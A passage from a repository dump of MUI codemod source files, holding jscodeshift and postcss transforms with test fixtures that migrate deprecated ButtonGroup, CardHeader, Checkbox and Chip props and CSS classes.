    "content": "import { buttonGroupClasses } from '@org/ui/material/ButtonGroup';\n\n('& .MuiButtonGroup-groupedHorizontal');\n('& .MuiButtonGroup-groupedVertical');\n('& .MuiButtonGroup-groupedText');\n('& .MuiButtonGroup-groupedTextHorizontal');\n('& .MuiButtonGroup-groupedTextVertical');\n('& .MuiButtonGroup-groupedTextPrimary');\n('& .MuiButtonGroup-groupedTextSecondary');\n('& .MuiButtonGroup-groupedOutlined');\n('& .MuiButtonGroup-groupedOutlinedHorizontal');\n('& .MuiButtonGroup-groupedOutlinedVertical');\n('& .MuiButtonGroup-groupedOutlinedPrimary');\n('& .MuiButtonGroup-groupedOutlinedSecondary');\n('& .MuiButtonGroup-groupedContained');\n('& .MuiButtonGroup-groupedContainedHorizontal');\n('& .MuiButtonGroup-groupedContainedVertical');\n('& .MuiButtonGroup-groupedContainedPrimary');\n('& .MuiButtonGroup-groupedContainedSecondary');\n`& .${buttonGroupClasses.groupedHorizontal}`;\n`& .${buttonGroupClasses.groupedVertical}`;\n`& .${buttonGroupClasses.groupedText}`;\n`& .${buttonGroupClasses.groupedTextHorizontal}`;\n`& .${buttonGroupClasses.groupedTextVertical}`;\n`& .${buttonGroupClasses.groupedTextPrimary}`;\n`& .${buttonGroupClasses.groupedTextSecondary}`;\n`& .${buttonGroupClasses.groupedOutlined}`;\n`& .${buttonGroupClasses.groupedOutlinedHorizontal}`;\n`& .${buttonGroupClasses.groupedOutlinedVertical}`;\n`& .${buttonGroupClasses.groupedOutlinedPrimary}`;\n`& .${buttonGroupClasses.groupedOutlinedSecondary}`;\n`& .${buttonGroupClasses.groupedContained}`;\n`& .${buttonGroupClasses.groupedContainedHorizontal}`;\n`& .${buttonGroupClasses.groupedContainedVertical}`;\n`& .${buttonGroupClasses.groupedContainedPrimary}`;\n`& .${buttonGroupClasses.groupedContainedSecondary}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/button-group-classes/test-cases/package.expected.js",
    "content": "import { buttonGroupClasses } from '@org/ui/material/ButtonGroup';\n\n(\"&.MuiButtonGroup-horizontal > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-vertical > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-text > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-text.MuiButtonGroup-horizontal > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-text.MuiButtonGroup-vertical > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-text.MuiButtonGroup-colorPrimary > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-text.MuiButtonGroup-colorSecondary > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-outlined > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-outlined.MuiButtonGroup-horizontal > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-outlined.MuiButtonGroup-vertical > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-outlined.MuiButtonGroup-colorPrimary > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-outlined.MuiButtonGroup-colorSecondary > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-contained > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-contained.MuiButtonGroup-horizontal > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-contained.MuiButtonGroup-vertical > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-contained.MuiButtonGroup-colorPrimary > .MuiButtonGroup-grouped\");\n(\"&.MuiButtonGroup-contained.MuiButtonGroup-colorSecondary > .MuiButtonGroup-grouped\");\n`&.${buttonGroupClasses.horizontal} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.vertical} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.text} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.text}.${buttonGroupClasses.horizontal} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.text}.${buttonGroupClasses.vertical} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.text}.${buttonGroupClasses.colorPrimary} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.text}.${buttonGroupClasses.colorSecondary} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.outlined} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.outlined}.${buttonGroupClasses.horizontal} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.outlined}.${buttonGroupClasses.vertical} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.outlined}.${buttonGroupClasses.colorPrimary} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.outlined}.${buttonGroupClasses.colorSecondary} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.contained} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.contained}.${buttonGroupClasses.horizontal} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.contained}.${buttonGroupClasses.vertical} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.contained}.${buttonGroupClasses.colorPrimary} > .${buttonGroupClasses.grouped}`;\n`&.${buttonGroupClasses.contained}.${buttonGroupClasses.colorSecondary} > .${buttonGroupClasses.grouped}`;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/card-header-props/card-header-props.js",
    "content": "import movePropIntoSlotProps from '../utils/movePropIntoSlotProps';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'CardHeader',\n    propName: 'titleTypographyProps',\n    slotName: 'title',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'CardHeader',\n    propName: 'subheaderTypographyProps',\n    slotName: 'subheader',\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/card-header-props/card-header-props.test.js",
    "content": "import { describeJscodeshiftTransform } from '../../../testUtils';\nimport transform from './card-header-props';\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describeJscodeshiftTransform({\n      transform,\n      transformName: 'tooltip-props',\n      dirname: __dirname,\n      testCases: [\n        { actual: '/test-cases/actual.js', expected: '/test-cases/expected.js' },\n        {\n          actual: '/test-cases/package.actual.js',\n          expected: '/test-cases/package.expected.js',\n          options: { packageName: '@org/ui/material' },\n        },\n      ],\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/card-header-props/index.js",
    "content": "export { default } from './card-header-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/card-header-props/test-cases/actual.js",
    "content": "import CardHeader from '@mui/material/CardHeader';\nimport { CardHeader as MyCardHeader } from '@mui/material';\n\n<CardHeader\n  titleTypographyProps={{ variant: 'h6' }}\n  subheaderTypographyProps={{ variant: 'body2' }}\n/>;\n<CardHeader\n  titleTypographyProps={{ variant: 'h6' }}\n  subheaderTypographyProps={{ variant: 'body2' }}\n  slotProps={{ title: { variant: 'h1' }, subheader: { variant: 'h2' } }}\n/>;\n<CardHeader\n  titleTypographyProps={{ variant: 'h6' }}\n  subheaderTypographyProps={{ variant: 'body2' }}\n  slotProps={{ title: { sx: { color: 'red' } }, subheader: { sx: { color: 'red' } } }}\n/>;\n<MyCardHeader\n  titleTypographyProps={{ variant: 'h6' }}\n  subheaderTypographyProps={{ variant: 'body2' }}\n/>;\n\n<CustomCardHeader\n  titleTypographyProps={{ variant: 'h6' }}\n  subheaderTypographyProps={{ variant: 'body2' }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/card-header-props/test-cases/expected.js",
    "content": "import CardHeader from '@mui/material/CardHeader';\nimport { CardHeader as MyCardHeader } from '@mui/material';\n\n<CardHeader\n  slotProps={{\n    title: { variant: 'h6' },\n    subheader: { variant: 'body2' }\n  }} />;\n<CardHeader\n  slotProps={{ title: {\n    ...{ variant: 'h6' },\n    ...{ variant: 'h1' }\n  }, subheader: {\n    ...{ variant: 'body2' },\n    ...{ variant: 'h2' }\n  } }} />;\n<CardHeader\n  slotProps={{ title: {\n    ...{ variant: 'h6' },\n    ...{ sx: { color: 'red' } }\n  }, subheader: {\n    ...{ variant: 'body2' },\n    ...{ sx: { color: 'red' } }\n  } }} />;\n<MyCardHeader\n  slotProps={{\n    title: { variant: 'h6' },\n    subheader: { variant: 'body2' }\n  }} />;\n\n<CustomCardHeader\n  titleTypographyProps={{ variant: 'h6' }}\n  subheaderTypographyProps={{ variant: 'body2' }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/card-header-props/test-cases/package.actual.js",
    "content": "import CardHeader from '@org/ui/material/CardHeader';\nimport { CardHeader as MyCardHeader } from '@org/ui/material';\n\n<CardHeader\n  titleTypographyProps={{ variant: 'h6' }}\n  subheaderTypographyProps={{ variant: 'body2' }}\n/>;\n<CardHeader\n  titleTypographyProps={{ variant: 'h6' }}\n  subheaderTypographyProps={{ variant: 'body2' }}\n  slotProps={{ title: { variant: 'h1' }, subheader: { variant: 'h2' } }}\n/>;\n<CardHeader\n  titleTypographyProps={{ variant: 'h6' }}\n  subheaderTypographyProps={{ variant: 'body2' }}\n  slotProps={{ title: { sx: { color: 'red' } }, subheader: { sx: { color: 'red' } } }}\n/>;\n<MyCardHeader\n  titleTypographyProps={{ variant: 'h6' }}\n  subheaderTypographyProps={{ variant: 'body2' }}\n/>;\n\n<CustomCardHeader\n  titleTypographyProps={{ variant: 'h6' }}\n  subheaderTypographyProps={{ variant: 'body2' }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/card-header-props/test-cases/package.expected.js",
    "content": "import CardHeader from '@org/ui/material/CardHeader';\nimport { CardHeader as MyCardHeader } from '@org/ui/material';\n\n<CardHeader\n  slotProps={{\n    title: { variant: 'h6' },\n    subheader: { variant: 'body2' }\n  }} />;\n<CardHeader\n  slotProps={{ title: {\n    ...{ variant: 'h6' },\n    ...{ variant: 'h1' }\n  }, subheader: {\n    ...{ variant: 'body2' },\n    ...{ variant: 'h2' }\n  } }} />;\n<CardHeader\n  slotProps={{ title: {\n    ...{ variant: 'h6' },\n    ...{ sx: { color: 'red' } }\n  }, subheader: {\n    ...{ variant: 'body2' },\n    ...{ sx: { color: 'red' } }\n  } }} />;\n<MyCardHeader\n  slotProps={{\n    title: { variant: 'h6' },\n    subheader: { variant: 'body2' }\n  }} />;\n\n<CustomCardHeader\n  titleTypographyProps={{ variant: 'h6' }}\n  subheaderTypographyProps={{ variant: 'body2' }}\n/>;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/checkbox-props/checkbox-props.js",
    "content": "import movePropIntoSlotProps from '../utils/movePropIntoSlotProps';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Checkbox',\n    propName: 'inputProps',\n    slotName: 'input',\n  });\n\n  movePropIntoSlotProps(j, {\n    root,\n    packageName: options.packageName,\n    componentName: 'Checkbox',\n    propName: 'inputRef',\n    slotName: 'input',\n    slotPropName: 'ref',\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/checkbox-props/checkbox-props.test.js",
    "content": "import { describeJscodeshiftTransform } from '../../../testUtils';\nimport transform from './checkbox-props';\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describeJscodeshiftTransform({\n      transform,\n      transformName: 'checkbox-props',\n      dirname: __dirname,\n      testCases: [\n        { actual: '/test-cases/actual.js', expected: '/test-cases/expected.js' },\n        { actual: '/test-cases/theme.actual.js', expected: '/test-cases/theme.expected.js' },\n        {\n          actual: '/test-cases/package.actual.js',\n          expected: '/test-cases/package.expected.js',\n          options: { packageName: '@org/ui/material' },\n        },\n      ],\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/checkbox-props/index.js",
    "content": "export { default } from './checkbox-props';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/checkbox-props/test-cases/actual.js",
    "content": "import Checkbox from '@mui/material/Checkbox';\nimport { Checkbox as MyCheckbox } from '@mui/material';\n\n<Checkbox inputProps={{ 'aria-label': 'Checkbox' }} />;\n<Checkbox inputRef={ref} />;\n<Checkbox inputProps={{ 'aria-label': 'Checkbox' }} inputRef={ref} />;\n<Checkbox\n  inputProps={{ 'aria-label': 'Checkbox' }}\n  inputRef={ref}\n  slotProps={{ root: { id: 'test' } }}\n/>;\n<MyCheckbox inputProps={{ 'aria-label': 'Checkbox' }} />;\n<MyCheckbox inputRef={ref} />;\n<MyCheckbox inputProps={{ 'aria-label': 'Checkbox' }} inputRef={ref} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/checkbox-props/test-cases/expected.js",
    "content": "import Checkbox from '@mui/material/Checkbox';\nimport { Checkbox as MyCheckbox } from '@mui/material';\n\n<Checkbox slotProps={{\n  input: { 'aria-label': 'Checkbox' }\n}} />;\n<Checkbox slotProps={{\n  input: {\n    ref: ref\n  }\n}} />;\n<Checkbox\n  slotProps={{\n    input: {\n      'aria-label': 'Checkbox',\n      ref: ref\n    }\n  }} />;\n<Checkbox\n  slotProps={{\n    root: { id: 'test' },\n\n    input: {\n      'aria-label': 'Checkbox',\n      ref: ref\n    }\n  }} />;\n<MyCheckbox slotProps={{\n  input: { 'aria-label': 'Checkbox' }\n}} />;\n<MyCheckbox slotProps={{\n  input: {\n    ref: ref\n  }\n}} />;\n<MyCheckbox\n  slotProps={{\n    input: {\n      'aria-label': 'Checkbox',\n      ref: ref\n    }\n  }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/checkbox-props/test-cases/package.actual.js",
    "content": "import Checkbox from '@org/ui/material/Checkbox';\nimport { Checkbox as MyCheckbox } from '@org/ui/material';\n\n<Checkbox inputProps={{ 'aria-label': 'Checkbox' }} />;\n<Checkbox inputRef={ref} />;\n<Checkbox inputProps={{ 'aria-label': 'Checkbox' }} inputRef={ref} />;\n<MyCheckbox inputProps={{ 'aria-label': 'Checkbox' }} />;\n<MyCheckbox inputRef={ref} />;\n<MyCheckbox inputProps={{ 'aria-label': 'Checkbox' }} inputRef={ref} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/checkbox-props/test-cases/package.expected.js",
    "content": "import Checkbox from '@org/ui/material/Checkbox';\nimport { Checkbox as MyCheckbox } from '@org/ui/material';\n\n<Checkbox slotProps={{\n  input: { 'aria-label': 'Checkbox' }\n}} />;\n<Checkbox slotProps={{\n  input: {\n    ref: ref\n  }\n}} />;\n<Checkbox\n  slotProps={{\n    input: {\n      'aria-label': 'Checkbox',\n      ref: ref\n    }\n  }} />;\n<MyCheckbox slotProps={{\n  input: { 'aria-label': 'Checkbox' }\n}} />;\n<MyCheckbox slotProps={{\n  input: {\n    ref: ref\n  }\n}} />;\n<MyCheckbox\n  slotProps={{\n    input: {\n      'aria-label': 'Checkbox',\n      ref: ref\n    }\n  }} />;\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/checkbox-props/test-cases/theme.actual.js",
    "content": "fn({\n  MuiCheckbox: {\n    defaultProps: {\n      inputProps: { 'aria-label': 'Checkbox' },\n    },\n  },\n});\n\nfn({\n  MuiCheckbox: {\n    defaultProps: {\n      inputRef: ref,\n    },\n  },\n});\n\nfn({\n  MuiCheckbox: {\n    defaultProps: {\n      inputProps: { 'aria-label': 'Checkbox' },\n      inputRef: ref,\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/checkbox-props/test-cases/theme.expected.js",
    "content": "fn({\n  MuiCheckbox: {\n    defaultProps: {\n      slotProps: {\n        input: { 'aria-label': 'Checkbox' }\n      },\n    },\n  },\n});\n\nfn({\n  MuiCheckbox: {\n    defaultProps: {\n      slotProps: {\n        input: {\n          ref: ref\n        }\n      },\n    },\n  },\n});\n\nfn({\n  MuiCheckbox: {\n    defaultProps: {\n      slotProps: {\n        input: {\n          'aria-label': 'Checkbox',\n          ref: ref\n        }\n      }\n    },\n  },\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/chip-classes/chip-classes.js",
    "content": "import { classes } from './postcss-plugin';\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n  classes.forEach(({ deprecatedClass, replacementSelector }) => {\n    const replacementSelectorPrefix = '&';\n    root\n      .find(j.ImportDeclaration)\n      .filter((path) =>\n        path.node.source.value.match(\n          new RegExp(`^${options.packageName || '@mui/material'}(/Chip)?$`),\n        ),\n      )\n      .forEach((path) => {\n        path.node.specifiers.forEach((specifier) => {\n          if (specifier.type === 'ImportSpecifier' && specifier.imported.name === 'chipClasses') {\n            const deprecatedAtomicClass = deprecatedClass.replace(\n              `${deprecatedClass.split('-')[0]}-`,\n              '',\n            );\n            root\n              .find(j.MemberExpression, {\n                object: { name: specifier.local.name },\n                property: { name: deprecatedAtomicClass },\n              })\n              .forEach((memberExpression) => {\n                const parent = memberExpression.parentPath.parentPath.value;\n                if (parent.type === j.TemplateLiteral.name) {\n                  const memberExpressionIndex = parent.expressions.findIndex(\n                    (expression) => expression === memberExpression.value,\n                  );\n                  const precedingTemplateElement = parent.quasis[memberExpressionIndex];\n                  const atomicClasses = replacementSelector\n                    .replaceAll('MuiChip-', '')\n                    .replaceAll(replacementSelectorPrefix, '')\n                    .replaceAll(' > ', '')\n                    .split('.')\n                    .filter(Boolean);\n\n                  if (\n                    precedingTemplateElement.value.raw.endsWith(\n                      deprecatedClass.startsWith(' ')\n                        ? `${replacementSelectorPrefix} .`\n                        : `${replacementSelectorPrefix}.`,\n                    )\n                  ) {\n                    const atomicClassesArgs = [\n                      memberExpressionIndex,\n                      1,\n                      ...atomicClasses.map((atomicClass) =>\n                        j.memberExpression(\n                          memberExpression.value.object,\n                          j.identifier(atomicClass),\n                        ),\n                      ),\n                    ];\n                    parent.expressions.splice(...atomicClassesArgs);\n\n                    if (replacementSelector.includes(' > ')) {\n                      const quasisArgs = [\n                        memberExpressionIndex,\n                        1,\n                        j.templateElement(\n                          {\n                            raw: precedingTemplateElement.value.raw.replace(' ', ''),\n                            cooked: precedingTemplateElement.value.cooked.replace(' ', ''),\n                          },\n                          false,\n                        ),\n                        j.templateElement({ raw: ' > .', cooked: ' > .' }, false),\n                      ];\n\n                      if (atomicClasses.length === 3) {\n                        quasisArgs.splice(\n                          3,\n                          0,\n                          j.templateElement({ raw: '.', cooked: '.' }, false),\n                        );\n                      }\n\n                      parent.quasis.splice(...quasisArgs);\n                    } else {\n                      parent.quasis.splice(\n                        memberExpressionIndex,\n                        1,\n                        j.templateElement(\n                          {\n                            raw: precedingTemplateElement.value.raw,\n                            cooked: precedingTemplateElement.value.cooked,\n                          },\n                          false,\n                        ),\n\n                        j.templateElement({ raw: '.', cooked: '.' }, false),\n                      );\n                    }\n                  }\n                }\n              });\n          }\n        });\n      });\n\n    const selectorRegex = new RegExp(`^${replacementSelectorPrefix}${deprecatedClass}`);\n    root\n      .find(\n        j.Literal,\n        (literal) => typeof literal.value === 'string' && literal.value.match(selectorRegex),\n      )\n      .forEach((path) => {\n        path.replace(\n          j.literal(\n            path.value.value.replace(\n              selectorRegex,\n              `${replacementSelectorPrefix}${replacementSelector}`,\n            ),\n          ),\n        );\n      });\n  });\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/chip-classes/chip-classes.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport postcss from 'postcss';\nimport { jscodeshift } from '../../../testUtils';\nimport jsTransform from './chip-classes';\nimport { plugin as postcssPlugin } from './postcss-plugin';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\nconst postcssProcessor = postcss([postcssPlugin]);\n\ndescribe('@mui/codemod', () => {\n  describe('deprecations', () => {\n    describe('chip-classes', () => {\n      describe('js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/actual.js') },\n            { jscodeshift },\n            { printOptions: { quote: 'double', trailingComma: true } },\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/expected.js') },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./test-cases/expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('[package] js-transform', () => {\n        it('transforms props as needed', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.actual.js') },\n            { jscodeshift },\n            {\n              printOptions: { quote: 'double', trailingComma: true },\n              packageName: '@org/ui/material',\n            },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = jsTransform(\n            { source: read('./test-cases/package.expected.js') },\n            { jscodeshift },\n            { packageName: '@org/ui/material' },\n          );\n\n          const expected = read('./test-cases/package.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('css-transform', () => {\n        it('transforms classes as needed', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/actual.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', async () => {\n          const actual = await postcssProcessor.process(read('./test-cases/expected.css'), {\n            from: undefined,\n          });\n\n          const expected = read('./test-cases/expected.css');\n          expect(actual.css).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('test-cases', () => {\n        it('should not be the same', () => {\n          const actualJS = read('./test-cases/actual.js');\n          const expectedJS = read('./test-cases/expected.js');\n          expect(actualJS).not.to.equal(expectedJS, 'The actual and expected should be different');\n\n          const actualCSS = read('./test-cases/actual.css');\n          const expectedCSS = read('./test-cases/expected.css');\n          expect(actualCSS).not.to.equal(\n            expectedCSS,\n            'The actual and expected should be different',\n          );\n        });\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/chip-classes/index.js",
    "content": "export { default } from './chip-classes';\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/chip-classes/postcss-plugin.js",
    "content": "const classes = [\n  {\n    deprecatedClass: '.MuiChip-clickableColorPrimary',\n    replacementSelector: '.MuiChip-clickable.MuiChip-colorPrimary',\n  },\n  {\n    deprecatedClass: '.MuiChip-clickableColorSecondary',\n    replacementSelector: '.MuiChip-clickable.MuiChip-colorSecondary',\n  },\n  {\n    deprecatedClass: '.MuiChip-deletableColorPrimary',\n    replacementSelector: '.MuiChip-deletable.MuiChip-colorPrimary',\n  },\n  {\n    deprecatedClass: '.MuiChip-deletableColorSecondary',\n    replacementSelector: '.MuiChip-deletable.MuiChip-colorSecondary',\n  },\n  {\n    deprecatedClass: '.MuiChip-outlinedPrimary',\n    replacementSelector: '.MuiChip-outlined.MuiChip-colorPrimary',\n  },\n  {\n    deprecatedClass: '.MuiChip-outlinedSecondary',\n    replacementSelector: '.MuiChip-outlined.MuiChip-colorSecondary',\n  },\n  {\n    deprecatedClass: '.MuiChip-filledPrimary',\n    replacementSelector: '.MuiChip-filled.MuiChip-colorPrimary',\n  },\n  {\n    deprecatedClass: '.MuiChip-filledSecondary',\n    replacementSelector: '.MuiChip-filled.MuiChip-colorSecondary',\n  },\n  {\n    deprecatedClass: ' .MuiChip-avatarSmall',\n    replacementSelector: '.MuiChip-sizeSmall > .MuiChip-avatar',\n  },\n  {\n    deprecatedClass: ' .MuiChip-avatarMedium',\n    replacementSelector: '.MuiChip-sizeMedium > .MuiChip-avatar',\n  },\n  {\n    deprecatedClass: ' .MuiChip-avatarColorPrimary',\n    replacementSelector: '.MuiChip-colorPrimary > .MuiChip-avatar',\n  },\n  {\n    deprecatedClass: ' .MuiChip-avatarColorSecondary',\n    replacementSelector: '.MuiChip-colorSecondary > .MuiChip-avatar',\n  },\n  {\n    deprecatedClass: ' .MuiChip-iconSmall',\n    replacementSelector: '.MuiChip-sizeSmall > .MuiChip-icon',\n  },\n  {\n    deprecatedClass: ' .MuiChip-iconMedium',\n    replacementSelector: '.MuiChip-sizeMedium > .MuiChip-icon',\n  },\n  {\n    deprecatedClass: ' .MuiChip-iconColorPrimary',\n    replacementSelector: '.MuiChip-colorPrimary > .MuiChip-icon',\n  },\n  {\n    deprecatedClass: ' .MuiChip-iconColorSecondary',\n    replacementSelector: '.MuiChip-colorSecondary > .MuiChip-icon',\n  },\n  {\n    deprecatedClass: ' .MuiChip-labelSmall',\n    replacementSelector: '.MuiChip-sizeSmall > .MuiChip-label',\n  },\n  {\n    deprecatedClass: ' .MuiChip-labelMedium',\n    replacementSelector: '.MuiChip-sizeMedium > .MuiChip-label',\n  },\n  {\n    deprecatedClass: ' .MuiChip-deleteIconSmall',\n    replacementSelector: '.MuiChip-sizeSmall > .MuiChip-deleteIcon',\n  },\n  {\n    deprecatedClass: ' .MuiChip-deleteIconMedium',\n    replacementSelector: '.MuiChip-sizeMedium > .MuiChip-deleteIcon',\n  },\n  {\n    deprecatedClass: ' .MuiChip-deleteIconColorPrimary',\n    replacementSelector: '.MuiChip-colorPrimary > .MuiChip-deleteIcon',\n  },\n  {\n    deprecatedClass: ' .MuiChip-deleteIconColorSecondary',\n    replacementSelector: '.MuiChip-colorSecondary > .MuiChip-deleteIcon',\n  },\n  {\n    deprecatedClass: ' .MuiChip-deleteIconOutlinedColorPrimary',\n    replacementSelector: '.MuiChip-outlined.MuiChip-colorPrimary > .MuiChip-deleteIcon',\n  },\n  {\n    deprecatedClass: ' .MuiChip-deleteIconOutlinedColorSecondary',\n    replacementSelector: '.MuiChip-outlined.MuiChip-colorSecondary > .MuiChip-deleteIcon',\n  },\n  {\n    deprecatedClass: ' .MuiChip-deleteIconFilledColorPrimary',\n    replacementSelector: '.MuiChip-filled.MuiChip-colorPrimary > .MuiChip-deleteIcon',\n  },\n  {\n    deprecatedClass: ' .MuiChip-deleteIconFilledColorSecondary',\n    replacementSelector: '.MuiChip-filled.MuiChip-colorSecondary > .MuiChip-deleteIcon',\n  },\n];\n\nconst plugin = () => {\n  return {\n    postcssPlugin: `Replace deprecated Chip classes with new classes`,\n    Rule(rule) {\n      const { selector } = rule;\n\n      classes.forEach(({ deprecatedClass, replacementSelector }) => {\n        const selectorRegex = new RegExp(`${deprecatedClass}`);\n\n        if (selector.match(selectorRegex)) {\n          rule.selector = selector.replace(selectorRegex, replacementSelector);\n        }\n      });\n    },\n  };\n};\nplugin.postcss = true;\n\nmodule.exports = {\n  plugin,\n  classes,\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/chip-classes/postcss.config.js",
    "content": "const { plugin } = require('./postcss-plugin');\n\nmodule.exports = {\n  plugins: [plugin],\n};\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/chip-classes/test-cases/actual.css",
    "content": ".MuiChip-clickableColorPrimary {\n  color: red;\n}\n\n.MuiChip-clickableColorSecondary {\n  color: red;\n}\n\n.MuiChip-deletableColorPrimary {\n  color: red;\n}\n\n.MuiChip-deletableColorSecondary {\n  color: red;\n}\n\n.MuiChip-outlinedPrimary {\n  color: red;\n}\n\n.MuiChip-outlinedSecondary {\n  color: red;\n}\n\n.MuiChip-filledPrimary {\n  color: red;\n}\n\n.MuiChip-filledSecondary {\n  color: red;\n}\n\n.MuiChip-root .MuiChip-avatarSmall {\n  color: red;\n}\n\n.MuiChip-root .MuiChip-avatarMedium {\n  color: red;\n}\n\n.MuiChip-root .MuiChip-avatarColorPrimary {\n  color: red;\n}\n\n.MuiChip-root .MuiChip-avatarColorSecondary {\n  color: red;\n}\n\n.MuiChip-root .MuiChip-iconSmall {\n  color: red;\n}\n\n.MuiChip-root .MuiChip-iconMedium {\n  color: red;\n}\n\n.MuiChip-root .MuiChip-iconColorPrimary {\n  color: red;\n}\n\n.MuiChip-root .MuiChip-iconColorSecondary {\n  color: red;\n}\n\n.MuiChip-root .MuiChip-labelSmall {\n  color: red;\n}\n\n.MuiChip-root .MuiChip-labelMedium {\n  color: red;\n}\n\n.MuiChip-root .MuiChip-deleteIconSmall {\n  color: red;\n}\n\n.MuiChip-root .MuiChip-deleteIconMedium {\n  color: red;\n}\n\n.MuiChip-root .MuiChip-deleteIconColorPrimary {\n  color: red;\n}\n\n.MuiChip-root .MuiChip-deleteIconColorSecondary {\n  color: red;\n}\n\n.MuiChip-root .MuiChip-deleteIconFilledColorPrimary {\n  color: red;\n}\n\n.MuiChip-root .MuiChip-deleteIconFilledColorSecondary {\n  color: red;\n}\n\n.MuiChip-root .MuiChip-deleteIconOutlinedColorPrimary {\n  color: red;\n}\n\n.MuiChip-root .MuiChip-deleteIconOutlinedColorSecondary {\n  color: red;\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/deprecations/chip-classes/test-cases/actual.js",
